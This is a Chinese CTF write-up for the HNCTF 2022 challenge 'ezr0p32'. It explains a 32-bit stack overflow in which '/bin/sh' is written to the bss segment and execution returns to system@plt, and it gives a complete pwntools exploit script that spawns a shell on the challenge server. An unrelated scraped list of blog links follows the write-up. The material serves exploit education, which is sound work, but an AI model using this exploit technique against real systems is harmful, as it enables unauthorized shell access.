目录

前言

一、题目

二、解题过程

payload的构造

三、exp

总结


前言

一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生。但其实其中原理比较简单,但是涉及到/bin/sh获取的常规操作,而自己也没整理过,于是特此发篇笔记


一、题目

读入了超过buf长度的数据,存在栈溢出漏洞;调用了system,可以通过plt调用到该函数

然而需要注意两个buf的差别!! 

双击第一个buf

是bss段的全局变量

双击第二个buf

是本函数的局部变量,也就是可以溢出的部分。

——第一个bss可以填充/bin/sh,第二个用于system函数调用


二、解题过程

  1. 在第一个输入处输入"/bin/sh"
  2. 构造合适的payload在第二个输入处输入

payload的构造

payload=垃圾数据(+填充ebp)+目标跳转地址+...+参数

我们要调用system,这个可以填写system的plt的地址即可,然而32位参数放在栈上,需要我们构造,需要注意的是,参数不应直接跟在函数(目标函数地址)后面,而应该空开一个字,这是因为调用函数时,参数和ebp被同时压入栈中,而空开的字就是ebp的位置——简单来说,调用函数后,callee会将栈上的内容识别为ebp+参数,获取参数会越过ebp获取。所以我们要空开一个字


三、exp

from pwn import *
from pwn import p32# io=process("./ezr0p")
io=remote("node1.anna.nssctf.cn",28086)
elf=ELF("./ezr0p")context(arch="i386",os='linux',log_level='debug')io.recvuntil(b'name')
io.sendline(b'/bin/sh')
bss_addr=0x804a080payload=b'a'*(0x1c+4)
payload+=p32(elf.plt['system'])
payload+=b'aaaa'
payload+=p32(bss_addr)io.sendlineafter(b'time~',payload)io.interactive()

总结

比较简单,也比较老套,所以更应该记住

【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32相关推荐

  1. 【PWN系列】格式化字符串在bss段上的处理

    个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 参考网址: http://www.starssgo.top/2019/12/06/%E6%A0%BC%E5%BC%8F ...

  2. buuctf (网鼎杯)wdb_2018_3rd_pesp realloc_hook, unlink,写入bss段3种方法记录

    写了一道2018网鼎的heap,漏洞挺多,尝试了3中方法解题,也算是对目前heap的学习进度的总结吧 题目本身是一道常规heap题,pie和got保护都没开,可以改写got表 ①realloc_hoo ...

  3. Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR

    和Ret2Libc(1)一样,先把程序扔进IDA看看代码 和Ret2Libc(1)一样,gets存在溢出漏洞 gdb-peda$ checksec CANARY    : disabled FORTI ...

  4. SECTIONS bss段初始化分析

    SECTIONS bss段初始化分析 都知道bss段需要初始化,但是这是为什么呢? 通过浏览资料,都会发现,bss段是不会出现在程序下载文件(*.bin .hex)中的,因为全都是0.如果把出现在程序 ...

  5. text段,data段,bss段,堆和栈

    红色部分为问题部分 堆和栈的区别 一.预备知识-程序的内存分配 一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)- 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等 ...

  6. 代码段+数据段+bss段+stack+heap

    在学习之前我们先看看ELF文件. ELF分为三种类型:.o 可重定位文件(relocalble file),可执行文件以及共享库(shared library),三种格式基本上从结构上是一样的,只是具 ...

  7. #!/bin/bash和#!/bin/sh的区别,source命令和exec命令

    Linux脚本开头#!/bin/bash和#!/bin/sh是什么意思以及区别 一.含义 #!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的she ...

  8. 关于text段、data段和bss段

    根据APUE,程序分为下面的段:.text, data (initialized), bss, stack, heap. data/bss/text: text段在内存中被映射为只读,但.data和. ...

  9. Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR

    Ret2Libc即控制程序执行libc库中的函数. 通常是返回到某个函数的plt处,或者函数运行时候的实际地址. 下面是一个例子: 可以看出程序gets有一个明显的溢出漏洞 gdb-peda$ che ...

最新文章

  1. APPSERV下安装pear db和auth
  2. mysql_常用命令
  3. Kubernetes1.6安装指南 (二进制文件方式)
  4. 为何gpio_to_irq不能静态使用?【转】
  5. junit测试起名字规则_如何在JUnit 5中替换规则
  6. mysql数据库表的类型介绍,mysql数据库表的类型介绍
  7. 如何用iOS工程生成iOS模拟器包
  8. oracle上机题库_Oracle OCP认证考试IZ0-053题库共712题数据库(带中文解析)
  9. 关于jpa的mappedBy用法
  10. MYSQL监控工具--mytop
  11. C1任务01 #记录与总结 #C无止境21040904在职C1组
  12. Python做一个“盯盘机器人”,实时监控股票价格并通知你!
  13. 旧笔记本改linux桌面,在老旧笔记本电脑上成功安装xubuntu
  14. HDU 6078Wavel Sequence
  15. bulldog渗透总结
  16. CCleaner - The world's most popular PC cleaner!
  17. Java //PP2.16编写一个applet,画出北斗七星,并在夜空中添加一些其他的星星
  18. Golang:中“静态”方法
  19. 无法启动节点ERROR:cannot launch node of type [map_server/map_server]:map_server
  20. php详情页模板怎么做,WordPress自定义文章详情页模板

热门文章

  1. 女仆怎么画?裙子的阴影怎么画?
  2. java 身份证号码正则表达式校验
  3. 华为领跑高端市场背后:聚焦与创新连接未来
  4. centos光驱安装软件
  5. “华为手机”和“荣耀手机”的区别?今天全都告诉你
  6. 计算机组成原理学位考试,计算机组成原理学位考A卷.doc
  7. Mac Android开发提升效率的工具、插件、心得集锦(gif动画演示)
  8. 亲测英皇CMS影视网站系统源码+多种模板/自带采集/支持APP
  9. 【翻译】liquibase 中 change set 的格式
  10. 先验概率和后验概率的定义